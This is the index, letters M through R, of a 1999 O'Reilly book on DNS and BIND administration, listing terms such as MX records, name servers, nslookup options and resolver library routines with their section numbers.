Index: M

magic cookie, NIS : 6.4.1.2. Using DNS with NIS
mail addr field : 3.2.1. Where in the World Do I Fit?
mail exchangers
5.1. MX Records
5.2. What's a Mail Exchanger, Again?
mailing lists on BIND : 3.1.1. Handy Mailing Lists and Usenet Newsgroups
maintenance : (see administration)
maintenance data category (logging) : 7.5.3. Category Details
Makefile, NIS : 6.4.1.2. Using DNS with NIS
"malformed response" message : 7.6.1. Common Syslog Messages
many-answers format : 10.4.1.4. More efficient zone transfers
mapping : 4.2. Setting Up DNS Data
addresses to names
2.6.4. Mapping Addresses to Names
4.2.6. PTR Records
h2n utility for : (see h2n utility)
names to addresses : 4.2.5. Address and Alias Records
network names and numbers : 15.6. Network Names and Numbers
master files : (see db files)
master servers : (see primary name server)
"master unreachable" message : 7.6.1. Common Syslog Messages
"master zone loaded" message : 7.6.1. Common Syslog Messages
MB records
3.2.1. Where in the World Do I Fit?
A.1.2.4. MB mailbox domain name - experimental
MD and MF records
5.1. MX Records
A.1.2.5. MD mail destination - obsolete
memory : 8.1.2. Capacity Planning
data segment size : 10.4.2.1. Changing the data segment size limit
domain name storage : 14.2.2. Domain Name Storage
resource limits : 10.4.2. Resource Limits
messages
compression : A.4.1.2. Message compression
format of : A.2. DNS Message
MG records
3.2.1. Where in the World Do I Fit?
A.1.2.7. MG mail group member - experimental
Microsoft Windows 95 : 6.4.9. Windows 95
Microsoft Windows NT : 6.4.10. Windows NT
mil domain : 2.2.1. Top-Level Domains
MINFO records : A.1.2.8. MINFO mailbox or mail list information - experimental
minimum TTL : 8.4.1. Changing Other SOA Values
mirrored servers : 10.12. Load Sharing Between Mirrored Servers
missing
cache data : 13.3.7. 7. Missing Cache Data
PTR records
11.7.3. No PTR Data for Name Server's Address
13.3.4. 4. Added Name to Database File, but Forgot to Add PTR Record
subdomain delegation : 13.3.9. 9. Missing Subdomain Delegation
Mockapetris, Paul
1.2.1. The History of the Domain Name System
1.4. The History of BIND
A. DNS Message Format and Resource Records
monitoring name servers
7.6. Keeping Everything Running Smoothly
(see also administration; performance)
MR records : A.1.2.9. MR mail rename - experimental
multihomed hosts
4.2.4. NS Records
4.2.5. Address and Alias Records
10.5. Name Server Address Sorting
mutual data infection : 13.6.8.3. Mutual infection
MX records
5.1. MX Records
15.3. A Limitation of MX Records
A.1.2.10. MX mail exchanger
email and firewalls : 15.4.4.7. Mail from internal hosts to the Internet
performance limitation of : 15.3. A Limitation of MX Records
queries statistic : 7.6.2. Understanding the BIND Statistics
routing loops : 5.3. The MX Algorithm
RT records vs. : 15.7.3. X25, ISDN, and RT
sendmail and : 6.3.2. Electronic Mail

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

name resolution : (see resolution)
name server library routines : 14.2.6. The Name Server Library Routines
name servers
1.3. The Domain Name System, in a Nutshell
2.4. Name Servers and Zones
accessing : (see resolvers)
adding and deleting : 8.2. Adding More Name Servers
adding to NOTIFY lists : 10.2. DNS NOTIFY (Zone Change Notification)
addresses : (see addresses)
backup name servers
6.1.4. The nameserver Directive
6.2.2. Local Name Server
bogus data : 13.6.7. Name Server Is Infected with Bogus Root Server Data
bogus, avoiding : 10.10. Avoiding a Bogus Name Server
caching-only
8.2.2. Caching-Only Servers
8.3. Registering Name Servers
capacity of : 8.1.2. Capacity Planning
choosing how many : 8.1. How Many Name Servers?
closest known name servers : 2.6.2. Recursion
delegating : 10.11.5. Delegated Name Server Configuration
forwarders : 10.7. Building Up a Large Site-wide Cache with Forwarders
initialization of (debugging example) : 12.3.1. Name Server Startup (Debug Level 1)
lame : (see lame delegation)
limiting query frequency : 10.4.1.1. Limiting transfers initiated per name server
load sharing : 10.12. Load Sharing Between Mirrored Servers
local, configuring : 6.2.2. Local Name Server
maintaining : 7. Maintaining BIND
logging (BIND 8) : 7.5. BIND 8 Logging
monitoring name servers : 7.6. Keeping Everything Running Smoothly
organizing db files : 7.3. Organizing Your Files
updating db files : 7.2. Updating db Files
master : (see primary name server)
mimicking queries with nslookup : 11.6.2. Querying Like a BIND Name Server
multiple, nslookup and : 11.1.1. Multiple Servers
mutual data infection : 13.6.8.3. Mutual infection
network preferences for : 10.6. Preferring Name Servers on Certain Networks
no response from : 11.7.2. No Response from Server
nonrecursive : 10.9. A Nonrecursive Name Server
NS records
4.2.4. NS Records
7.6.2. Understanding the BIND Statistics
A.1.2.11. NS name server
numbering
(see serial numbers)
(see
partial-slave servers : 8.2.3. Partial-Slave Servers
primary : (see primary name server)
recursion : (see recursive resolution)
registering : 8.3. Registering Name Servers
resolvers without : 6.2.1. Resolver Only
resolving : (see resolvers)
restricted (forward-only) : 10.8. A More Restricted Name Server
root
2.6.1. Root Name Servers
10.9. A Nonrecursive Name Server
11.3. Option Settings
15.4.4. Internal Roots
"No root nameservers" message : 7.6.1. Common Syslog Messages
security of : (see security)
selecting for resolver
6.1.4. The nameserver Directive
F.2.3. nameserver
setting up : 4. Setting Up BIND
signals : 7.1. BIND Name Server Signals
slave : (see slave/secondary name servers)
starting up/restarting
4.7.1. Starting Up the Name Server
7.1. BIND Name Server Signals
startup failure with disabled UDP checksums : 13.5.5. Name Server Startup Fails Because UDP Checksums Disabled
statistics on : 7.6.2. Understanding the BIND Statistics
switching with nslookup : 11.5.3. Switching Servers
upgrading BIND and : 13.4.2. Name Server Behavior
where to run : 8.1.1. Where Do I Put My Name Servers?
zone change notification
3.1. Getting BIND
10.2. DNS NOTIFY (Zone Change Notification)
named daemon : 4.7.1. Starting Up the Name Server
signals : 7.1. BIND Name Server Signals
syslog messages : 7.6.1. Common Syslog Messages
named.boot file : (see boot file)
named_dump.db file
7.4. Changing BIND 8 System File Locations
13.2.2. How to Read a Database Dump
named.pid file : 7.1. BIND Name Server Signals
moving : 7.4. Changing BIND 8 System File Locations
named.root file : 4.2.9. The Root Cache Data
named.run file
7.5. BIND 8 Logging
12.2. Turning On Debugging
named.stats file : 7.6.2. Understanding the BIND Statistics
moving : 7.4. Changing BIND 8 System File Locations
named-xfer program
7.1. BIND Name Server Signals
13.2.1. How to Use named-xfer
moving : 7.4. Changing BIND 8 System File Locations
unnecessary glue data : 13.6.8.2. Unnecessary glue data
namedroppers mailing list
3.1.1. Handy Mailing Lists and Usenet Newsgroups
4.2.9. The Root Cache Data
names of domains : (see domain names)
names of networks : 15.6. Network Names and Numbers
names, owner : 7.6.1. Common Syslog Messages
nameserver directive
6.1.4. The nameserver Directive
F.2.3. nameserver
NIS and : 6.4.1.2. Using DNS with NIS
ncache data category (logging) : 7.5.3. Category Details
ndc utility
7.1. BIND Name Server Signals
12.5. Tools
ndots substatement
6.1.6. The options Directive
F.2.6. options ndots (4.9.3 and later versions)
negative caching
2.7. Caching
2.7.1. Time to Live
12.4. The Resolver Search Algorithm and Negative Caching
13.5.7. Other Name Servers Don't Cache Your Negative Answers
net domain : 2.2.1. Top-Level Domains
Net::DNS module : 14.3. Perl Programming with Net::DNS
NETDB_INTERNAL error : 14.2.4. The Resolver Library Routines
netgroups file : 6.3.1. Differences in Service Behavior
netsvc.conf file : 6.4.4. IBM's AIX
Network File System (NFS) : 6.3.1. Differences in Service Behavior
Network Information Center : (see NIC)
Network Information Service : (see NIS)
network interface interval : 10.4.3.2. Interface interval
network masks : 10.11.3. Preventing Unauthorized Zone Transfers
Network Solutions, Inc. (NSI) : 3.2.4. Registering with Your Parent
"network unreachable" message
6.1.4.1. One name server configured
8.5.1. Outages
networks
13.3.8. 8. Loss of Network Connectivity
(see also connectivity)
ISDN
15.7.3. X25, ISDN, and RT
A.1.3.2. ISDN Integrated Services Digital Network address - experimental
LANs : 8.1.2. Capacity Planning
loopback
4.2.8. The Loopback Address
6.1.4. The nameserver Directive
names and numbers : 15.6. Network Names and Numbers
registering : 3.2.3. Checking That Your Network Is Registered
subnetting
6.1.5. The sortlist Directive
6.3.1. Differences in Service Behavior
10.5.2. Remote Multihomed Hosts
10.5.3. Address Sorting on Subnetted Networks
F.1.6. sortlist
F.2.5. sortlist (4.9.3 and later versions)
on/off octet boundaries : 9.5.1. Subnetting on an Octet Boundary
newsgroups on BIND : 3.1.1. Handy Mailing Lists and Usenet Newsgroups
NFS (Network File System) : 6.3.1. Differences in Service Behavior
NIC (Network Information Center)
1.2.1. The History of the Domain Name System
13.3.9. 9. Missing Subdomain Delegation
whois service
3.2.1.1. whois
3.2.4. Registering with Your Parent
NIS (Network Information Service)
2.1.2. Domains
6.4.1. Sun's SunOS 4.x
6.4.1.3. Ignoring NIS
nslookup and : 11.1.5. Using NIS and /etc/hosts
troubleshooting : 13.1. Is NIS Really Your Problem?
nmed-xfer file : 10.11.4. Running BIND as a Non-Root User
NO_DATA error : 14.2.4. The Resolver Library Routines
no-fetch-glue substatement
10.9. A Nonrecursive Name Server
10.11.5. Delegated Name Server Configuration
F.1.10.3. options no-fetch-glue
"No NS Record for SOA MNAME" message : 13.5.2. Name Server Reports No NS Record for SOA MNAME
NO_RECOVERY error : 14.2.4. The Resolver Library Routines
no-recursion substatement
10.9. A Nonrecursive Name Server
10.11.5. Delegated Name Server Configuration
F.1.10.2. options no-recursion
"no response from server" message : 11.7.2. No Response from Server
"No root nameservers for class #" message : 7.6.1. Common Syslog Messages
nod2 option (nslookup)
11.3. Option Settings
11.6.1. Seeing the Query and Response Packets
nodebug option (nslookup)
11.3. Option Settings
11.6.1. Seeing the Query and Response Packets
nodefname option (nslookup) : 11.3. Option Settings
nodes : 2.1. The Domain Name Space
noforward patch : 15.4.5. Views
noignoretc option (nslookup) : 11.3. Option Settings
non-octet boundaries, subnetting on : 9.5.2. Subnetting on a Non-Octet Boundary
nonauthoritative nslookup answers : 11.5.2. Authoritative Versus Nonauthoritative Answers
"nonexistent domain" message : 11.7.3. No PTR Data for Name Server's Address
noninteractive nslookup : 11.2. Interactive Versus Noninteractive
nonrecursive (iterative) resolution : 2.6.2. Recursion
nonrecursive name servers : 10.9. A Nonrecursive Name Server
nonrecursive queries
2.6.2. Recursion
10.7. Building Up a Large Site-wide Cache with Forwarders
14.1.1. A Typical Problem
norecurse option (nslookup)
11.3. Option Settings
11.6.2. Querying Like a BIND Name Server
nosearch option (nslookup)
11.3. Option Settings
11.4. Avoiding the Search List
11.6.2. Querying Like a BIND Name Server
nospoof keyword : 6.4.8. Linux
notification of changed zones
3.1. Getting BIND
10.2. DNS NOTIFY (Zone Change Notification)
notify data category (logging) : 7.5.3. Category Details
NOTIFY request : 10.2. DNS NOTIFY (Zone Change Notification)
novc option (nslookup) : 11.3. Option Settings
NS records
4.2.1. The db Files
4.2.4. NS Records
4.8. Running a Slave Name Server
A.1.2.11. NS name server
delegated name servers : 10.11.5. Delegated Name Server Configuration
no NS records for SOA MNAME : 13.5.2. Name Server Reports No NS Record for SOA MNAME
queries statistic : 7.6.2. Understanding the BIND Statistics
ns_get32 routine : 14.2.6. The Name Server Library Routines
ns_init_parse routine : 14.2.6. The Name Server Library Routines
ns_msg_count routine : 14.2.6. The Name Server Library Routines
ns_msg_get_flag routine : 14.2.6. The Name Server Library Routines
ns_msg_id routine : 14.2.6. The Name Server Library Routines
ns_name_compress routine : 14.2.6. The Name Server Library Routines
ns_name_skip routine : 14.2.6. The Name Server Library Routines
ns_name_uncompress routine : 14.2.6. The Name Server Library Routines
ns_parserr routine : 14.2.6. The Name Server Library Routines
ns_put32 routine : 14.2.6. The Name Server Library Routines
NSAP queries statistic : 7.6.2. Understanding the BIND Statistics
nscd daemon : 6.4.2.1. nscd
NSFNET network : 1.1. A (Very) Brief History of the Internet
NSFNET traffic reports : 8.1.2. Capacity Planning
NSI (Network Solutions, Inc.) : 3.2.4. Registering with Your Parent
nslookup program
Versions
3.1.2. Finding IP Addresses
3.2.2.1. The us domain
11. nslookup
common tasks : 11.5. Common Tasks
finding out what is looked up : 11.7.6. Finding Out What Is Being Looked Up
interactive vs. noninteractive : 11.2. Interactive Versus Noninteractive
looking up CNAMEs : 15.1.5. Looking Up CNAMEs
mimicking name servers : 11.6.2. Querying Like a BIND Name Server
option settings : 11.3. Option Settings
shell script programming : 14.1. Shell Script Programming with nslookup
switching name servers : 11.5.3. Switching Servers
testing domain setup : 4.7.3. Testing Your Setup with nslookup
troubleshooting : 11.7. Troubleshooting nslookup Problems
zone transfers with : 11.6.3. Zone Transfers
.nslookuprc file : 11.3.1. The .nslookuprc File
nsswitch.conf file
6.4.2. Sun's Solaris 2.x
6.4.3. HP's HP-UX
13.1. Is NIS Really Your Problem?
NSTATS messages : 7.6.1. Common Syslog Messages
nsupdate program : 10.3. DNS Dynamic Update
null channel (logging) : 7.5.2.3. Null channel
null file : 10.11.4. Running BIND as a Non-Root User
NULL records : A.1.2.12. NULL null - experimental
numbers
ARIN registry
3.2.3. Checking That Your Network Is Registered
E. in-addr.arpa Registration Form
network numbers : 15.6. Network Names and Numbers
serial numbers : (see serial numbers)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

octets
2.6.4. Mapping Addresses to Names
A.1. Master File Format
compressing domain names : 14.2.3. Domain Name Compression
data transmission order : A.3.3. Data Transmission Order
resource record data and : A.4.1.1. Domain name
subnetting on/off octet boundaries : 9.5.1. Subnetting on an Octet Boundary
off-site name server : 8.1. How Many Name Servers?
one-answer format : 10.4.1.4. More efficient zone transfers
open files limit
7.6.1. Common Syslog Messages
10.4.2.4. Changing the open files limit
13.5.3. Name Server Reports Too Many Open Files
Open Server : 6.4.7. SCO's Open Server 5.0
options directive
6.1.6. The options Directive
14.2.5. The _res Structure
F.1.10. options (4.9.3)
F.1.19. options (8.X.X)
options allow-query : 10.11.2. Restricting Queries
options auth-nxdomain : 13.5.7. Other Name Servers Don't Cache Your Negative Answers
options cleaning-interval : 10.4.3.1. Cleaning interval
options coresize : 10.4.2.3. Changing the core size limit
options debug
6.1.6. The options Directive
F.2.7. options debug (4.9.3 and later versions)
options fake-iquery : F.1.10.5. options fake-iquery
options fetch-glue
10.9. A Nonrecursive Name Server
10.11.5. Delegated Name Server Configuration
options files : 10.4.2.4. Changing the open files limit
options forward-only
10.8. A More Restricted Name Server
F.1.10.1. options forward-only
options forwarders : 10.7. Building Up a Large Site-wide Cache with Forwarders
options interface-interval : 10.4.3.2. Interface interval
options listen-on : 10.11.7. Two Name Servers in One
options ndots
6.1.6. The options Directive
F.2.6. options ndots (4.9.3 and later versions)
options no-fetch-glue
10.9. A Nonrecursive Name Server
10.11.5. Delegated Name Server Configuration
F.1.10.3. options no-fetch-glue
options no-recursion
10.9. A Nonrecursive Name Server
10.11.5. Delegated Name Server Configuration
F.1.10.2. options no-recursion
options pid-file : 10.11.4. Running BIND as a Non-Root User
options query-log
7.6.1. Common Syslog Messages
13.2.3. Logging Queries
F.1.10.4. options query-log
options recursion
10.9. A Nonrecursive Name Server
10.11.5. Delegated Name Server Configuration
options statistics-interval : 10.4.3.3. Statistics interval
options transfer-format : 10.4.1.4. More efficient zone transfers
order keyword : 6.4.8. Linux
order, data transmission : A.3.3. Data Transmission Order
org domain : 2.2.1. Top-Level Domains
organizing db files : 7.3. Organizing Your Files
$ORIGIN entries (db files) : 7.3.2. Changing the Origin in a Database File
$ORIGIN entries (db files) : A.1. Master File Format
origin, db file
4.4.1. Appending Domains
7.3.2. Changing the Origin in a Database File
os data category (logging) : 7.5.3. Category Details
out-of-zone resource records : 13.4.2. Name Server Behavior
outages : 8.5.1. Outages
output, debugging : (see debugging)
"outside zone" message : 7.6.1. Common Syslog Messages
overworked name server : 8.1.2. Capacity Planning
"owner name is invalid" message : 7.6.1. Common Syslog Messages

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

packet data category (logging) : 7.5.3. Category Details
packets
format of
11.6.1. Seeing the Query and Response Packets
14.2.1. DNS Packet Format
message format : A.2. DNS Message
packet filtering firewalls : 15.4.1.1. Packet filters
Perl objects for : 14.3.2. Packet Objects
panic data category (logging) : 7.5.3. Category Details
parent domains
3.2.4. Registering with Your Parent
(see also domains)
contacting administrator of : 3.2.2.1. The us domain
naming subdomains and : 3.2.2.1. The us domain
registering networks with : 3.2.4. Registering with Your Parent
parentheses ( )
4.2.3. SOA Records
A.1. Master File Format
parenting : 9. Parenting
checking delegation : 9.6. Good Parenting
creating subdomains : 9.4. How to Become a Parent: Creating Subdomains
managing transition to subdomains : 9.7. Managing the Transition to Subdomains
naming subdomains : 9.3. What to Name Your Children
parent-level aliases : 9.7.1. Removing Parent Aliases
subdomains of in-addr.arpa domains : 9.5. Subdomains of in-addr.arpa Domains
parser data category (logging) : 7.5.3. Category Details
parsing DNS responses : 14.2.7. Parsing DNS Responses
partial-slave name servers : 8.2.3. Partial-Slave Servers
patches for BIND security : 3.1. Getting BIND
patches, HP-UX : 6.4.3. HP's HP-UX
peak periods of activity : 8.1.2. Capacity Planning
performance
avoiding bogus name servers : 10.10. Avoiding a Bogus Name Server
caching
2.7. Caching
2.7.1. Time to Live
capacity planning : 8.1.2. Capacity Planning
connectivity loss : 13.3.8. 8. Loss of Network Connectivity
CPU load : 8.1.2. Capacity Planning
debugging levels : 12.1. Debugging Levels
load sharing : 10.12. Load Sharing Between Mirrored Servers
mail exchangers : 5.2. What's a Mail Exchanger, Again?
monitoring name servers : 7.6. Keeping Everything Running Smoothly
MX records and : 15.3. A Limitation of MX Records
queries per second : 7.6.2. Understanding the BIND Statistics
SOA values : 4.8.4. SOA Values
system tuning : 10.4. System Tuning
troubleshooting : 13.6.4. Lookups Take a Long Time
zone transfer efficiency : 10.4.1.4. More efficient zone transfers
period : (see dot)
Perl programming : 14.3. Perl Programming with Net::DNS
pid-file substatement : 10.11.4. Running BIND as a Non-Root User
ping utility : 4.2.5. Address and Alias Records
pointer records : (see PTR records)
port option (nslookup) : 11.3. Option Settings
"port unreachable" message
6.1.4.1. One name server configured
8.5.1. Outages
14.1.1. A Typical Problem
power outages : 8.5.1. Outages
preference values (MX records) : 5.1. MX Records
preferred name servers : 10.6. Preferring Name Servers on Certain Networks
prereq commands (nsupdate) : 10.3. DNS Dynamic Update
preventing disasters : 8.5. Planning for Disasters
primary directive : F.1.2. primary
primary name server
2.4.2. Types of Name Servers
4.7. Running a Primary Master Name Server
4.8. Running a Slave Name Server
adding : 8.2.1. Primary Master and Slave Servers
BIND configuration file : 4.3. Setting Up a BIND Configuration File
forgetting to signal : 13.3.2. 2. Forgot to Signal Primary Master Server
forwarders and : 10.7. Building Up a Large Site-wide Cache with Forwarders
multiple : 4.8.3. Multiple Master Servers
organizing db files of : 7.3.1. Using Several Directories
setting up slaves : 9.4.3. An fx.movie.edu Slave
"unreachable" message : 7.6.1. Common Syslog Messages
zone change notification
3.1. Getting BIND
10.2. DNS NOTIFY (Zone Change Notification)
zone transfers and : 7.1. BIND Name Server Signals
process ID : 7.1. BIND Name Server Signals
programming resolvers : 14. Programming with the Resolver and Name Server Library Routines
C programming : 14.2. C Programming with the Resolver Library Routines
Perl programming : 14.3. Perl Programming with Net::DNS
programs, obtaining example : Obtaining the Example Programs
proprietary WINS records : 13.5.1. Zone Transfer Fails Because of Proprietary WINS Record
ps command : 7.1. BIND Name Server Signals
PTR records
4.2.1. The db Files
4.2.6. PTR Records
A.1.2.13. PTR pointer
"Looked for PTR, Found CNAME" : 13.5.4. Resolver Reports Looked for PTR, Found CNAME
missing
11.7.3. No PTR Data for Name Server's Address
13.3.4. 4. Added Name to Database File, but Forgot to Add PTR Record
queries statistic : 7.6.2. Understanding the BIND Statistics
PX records : A.1.4.1. PX pointer to X.400/RFC 822 mapping information

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

QCLASS fields : A.3.1.1. QCLASS values
QTYPE fields : A.3.1.2. QTYPE values
queries
caching and : 2.7. Caching
inverse
2.6.5. Inverse Queries
11.6.1. Seeing the Query and Response Packets
11.7.4. Query Refused
iterative (nonrecursive)
2.6.2. Recursion
10.7. Building Up a Large Site-wide Cache with Forwarders
14.1.1. A Typical Problem
limiting per server : 10.4.1.1. Limiting transfers initiated per name server
logging
7.6.1. Common Syslog Messages
13.2.3. Logging Queries
mimicking name servers with nslookup : 11.6.2. Querying Like a BIND Name Server
to misconfigured in-addr.arpa domains : 9.6. Good Parenting
nonauthoritative nslookup answers : 11.5.2. Authoritative Versus Nonauthoritative Answers
recursive
2.6.2. Recursion
10.7. Building Up a Large Site-wide Cache with Forwarders
refused : 11.7.4. Query Refused
restricting : 10.11.2. Restricting Queries
retransmitted (debugging example) : 12.3.3. A Successful Lookup with Retransmissions (Debug Level 1)
statistics on : 7.6.2. Understanding the BIND Statistics
successful (debugging example) : 12.3.2. A Successful Lookup (Debug Level 1)
switching name servers for : 11.5.3. Switching Servers
system : 7.6.2. Understanding the BIND Statistics
tracing : 11.6.1. Seeing the Query and Response Packets
volume of : (see traffic)
queries data category (logging) : 7.5.3. Category Details
query-log substatement
7.6.1. Common Syslog Messages
13.2.3. Logging Queries
F.1.10.4. options query-log
querytype option (nslookup)
11.3. Option Settings
11.5.1. Looking Up Different Data Types
question section, DNS packet
11.6.1. Seeing the Query and Response Packets
14.2.1. DNS Packet Format
A.3.1. Question Section Format
Perl objects for : 14.3.4. Question Objects

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

RAXFR statistic : 7.6.2. Understanding the BIND Statistics
RCODE field : A.3. Header Section Format
rcodes (response codes) : 11.6.1. Seeing the Query and Response Packets
rdist command : 8.2.1. Primary Master and Slave Servers
RDupQ, RDupR statistics : 7.6.2. Understanding the BIND Statistics
reading
database dump : 13.2.2. How to Read a Database Dump
debugging output : 12.3. Reading Debugging Output
domain names : 2.2.3. Reading Domain Names
recurse option (nslookup)
11.3. Option Settings
14.1.2. Solving This Problem with a Script
recursion substatement : 10.11.5. Delegated Name Server Configuration
recursive queries : 10.7. Building Up a Large Site-wide Cache with Forwarders
recursive resolution : 2.6.2. Recursion
caching and : 2.7. Caching
redundancy in domain names : 14.2.3. Domain Name Compression
refresh interval
4.8.4. SOA Values
8.2.1. Primary Master and Slave Servers
8.4.1. Changing Other SOA Values
10.2. DNS NOTIFY (Zone Change Notification)
refused queries : 11.7.4. Query Refused
registering
domains : D. Domain Registration Form
in-addr.arpa domain : E. in-addr.arpa Registration Form
name servers : 8.3. Registering Name Servers
network numbers : 3.2.3. Checking That Your Network Is Registered
registries : 3.2.3. Checking That Your Network Is Registered
"reloading nameserver" message
7.6.1. Common Syslog Messages
13.3.2. 2. Forgot to Signal Primary Master Server
remote host names
4.7.3.4. Look up a remote name
13.6.2. Remote Names Can't Be Looked Up
remote multihomed hosts : 10.5.2. Remote Multihomed Hosts
reorder keyword : 6.4.8. Linux
RErr statistic : 7.6.2. Understanding the BIND Statistics
_res structure : 14.2.5. The _res Structure
RES_AAONLY option : 14.2.5. The _res Structure
RES_DEBUG option
6.1.6. The options Directive
14.2.5. The _res Structure
RES_DEFNAMES option : 14.2.5. The _res Structure
RES_DNSRCH option : 14.2.5. The _res Structure
RES_IGNTC option : 14.2.5. The _res Structure
RES_INIT option : 14.2.5. The _res Structure
res_init routine : 14.2.4. The Resolver Library Routines
RES_INSECURE1, RES_INSECURE2 options : 14.2.5. The _res Structure
res_mkquery routine : 14.2.4. The Resolver Library Routines
RES_NOALIASES option : 14.2.5. The _res Structure
RES_OPTIONS variable : 6.4.7. SCO's Open Server 5.0
RES_PRIMARY option : 14.2.5. The _res Structure
res_query routine
14.2.4. The Resolver Library Routines
14.2.8. A Sample Program: check_soa
RES_RECURSE option : 14.2.5. The _res Structure
res_search routine : 14.2.4. The Resolver Library Routines
res_send routine : 14.2.4. The Resolver Library Routines
RES_STAYOPEN option : 14.2.5. The _res Structure
RES_USEVC option : 14.2.5. The _res Structure
resetting serial number : 7.2.3. Starting Over with a New Serial Number
resolution
2.6. Resolution
(see also resolvers)
caching and : 2.7. Caching
iterative : 2.6.3. Iteration
iterative (nonrecursive) : 2.6.2. Recursion
recursive : 2.6.2. Recursion
resolv+ library
6.4.1.1. Modified resolvers
6.4.8. Linux
resolv.conf file
4.7.3.1. Initialize the default domain name
6.1. The Resolver
6.2.2. Local Name Server
6.4.4. IBM's AIX
6.4.6. Silicon Graphics' IRIX
first server not responding : 11.7.5. First resolv.conf Name Server Not Responding
nslookup and
11.1.1. Multiple Servers
11.7.5. First resolv.conf Name Server Not Responding
outages and : 8.5.1. Outages
syntax errors in : 13.3.11. 11. Syntax Error in resolv.conf
resolv.h file : 14.2.5. The _res Structure
resolvers
1.3. The Domain Name System, in a Nutshell
2.5. Resolvers
2.6. Resolution
6.1. The Resolver
(see also resolution)
access denials : 13.6.6. Access to Services Denied
configuring : 9.4.2. Creating and Delegating a Subdomain
directives
6.1. The Resolver
6.1.8. A Note on the 4.9 Resolver Directives
F.2. BIND Resolver Statements
library routines
14.2.4. The Resolver Library Routines
14.3.6. A Perl Version of check_soa
long response time : 13.6.4. Lookups Take a Long Time
"Looked for PTR, Found CNAME" : 13.5.4. Resolver Reports Looked for PTR, Found CNAME
mimicking with nslookup : 11.6.2. Querying Like a BIND Name Server
nslookup versus : 11.1. Is nslookup a Good Tool?
Perl objects for : 14.3.1. Resolver Objects
programming : 14. Programming with the Resolver and Name Server Library Routines
sample configurations : 6.2. Sample Resolver Configurations
search algorithm : 12.4. The Resolver Search Algorithm and Negative Caching
security : 10.11.6. Resolving Name Server Configuration
sorting name server addresses : 10.5. Name Server Address Sorting
upgrading BIND and : 13.4.1. Resolver Behavior
vendor-specific implementations
6.4. Vendor-Specific Options
6.4.10. Windows NT
without name server : 6.2.1. Resolver Only
resource limits : 10.4.2. Resource Limits
resource records
2.1.3. Resource Records
4.2.1. The db Files
4.2.4. NS Records
15.7. Additional Resource Records
15.7.3. X25, ISDN, and RT
A. DNS Message Format and Resource Records
(see also under specific record type)
CNAME record in
7.6.1. Common Syslog Messages
15.1.3. CNAMEs in the Resource Record Data
data format : A.4.1. Data Format
dynamic update facility : 10.3. DNS Dynamic Update
ns_parserr routine : 14.2.6. The Name Server Library Routines
out-of-zone : 13.4.2. Name Server Behavior
Perl objects for : 14.3.5. Resource Record Objects
spaces and tabs as names : 4.4.3. Repeat Last Name
types of (list) : A.1.2. Types
resources : (see documentation)
"Response from unexpected source; message : 7.6.1. Common Syslog Messages
response-checks data category (logging) : 7.5.3. Category Details
responses
long time for : 13.6.4. Lookups Take a Long Time
MX records and performance : 15.3. A Limitation of MX Records
parsing : 14.2.7. Parsing DNS Responses
speed of : (see performance)
tracing : 11.6.1. Seeing the Query and Response Packets
from unexpected sources : 13.3.13. 13. Response from Unexpected Source
wrong or inconsistent : 13.6.3. Wrong or Inconsistent Answer
Responsible Person : (see RP records)
restarted message : 4.7.2. Check for Syslog Errors
"restarted" message : 13.3.2. 2. Forgot to Signal Primary Master Server
restarting name server : 7.1. BIND Name Server Signals
restricted name servers : 10.8. A More Restricted Name Server
restricting queries : 10.11.2. Restricting Queries
retransmitting queries (debugging example) : 12.3.3. A Successful Lookup with Retransmissions (Debug Level 1)
retry interval
4.8.4. SOA Values
8.4.1. Changing Other SOA Values
11.3. Option Settings
reverse domain : (see in-addr.arpa domain)
reverse mapping : 4.2. Setting Up DNS Data
RFail statistic : 7.6.2. Understanding the BIND Statistics
RFC 1035
A.1. Master File Format
A.2.1. Format
RFC 1183 : A.1.3.1. AFSDB Andrew File System Data Base - experimental
RFC 1664 : A.1.4. New Types from RFC 1664
RFErr statistic : 7.6.2. Understanding the BIND Statistics
RFwdQ, RFwdR statistics : 7.6.2. Understanding the BIND Statistics
.rhosts file
6.3.3. Updating .rhosts, hosts.equiv, etc.
13.6.5. rlogin and rsh to Host Fails Access Check
RIPE Network Coordination Centre : 3.2.3. Checking That Your Network Is Registered
RIQ statistic : 7.6.2. Understanding the BIND Statistics
RLame statistic : 7.6.2. Understanding the BIND Statistics
rlogin command : 13.6.5. rlogin and rsh to Host Fails Access Check
RNotNsQ statistic : 7.6.2. Understanding the BIND Statistics
RNXD statistic : 7.6.2. Understanding the BIND Statistics
root command : 11.3. Option Settings
root domain
1.3. The Domain Name System, in a Nutshell
2.1. The Domain Name Space
cache data for : 4.2.9. The Root Cache Data
updating record of : 7.2.6. Keeping db.cache Current
root server
2.6.1. Root Name Servers
10.9. A Nonrecursive Name Server
15.4.4. Internal Roots
bogus data : 13.6.7. Name Server Is Infected with Bogus Root Server Data
"No root nameservers" message : 7.6.1. Common Syslog Messages
setting with nslookup : 11.3. Option Settings
temporary : 8.6.3. Really Long Outages (Weeks)
root user (BIND) : 10.11.4. Running BIND as a Non-Root User
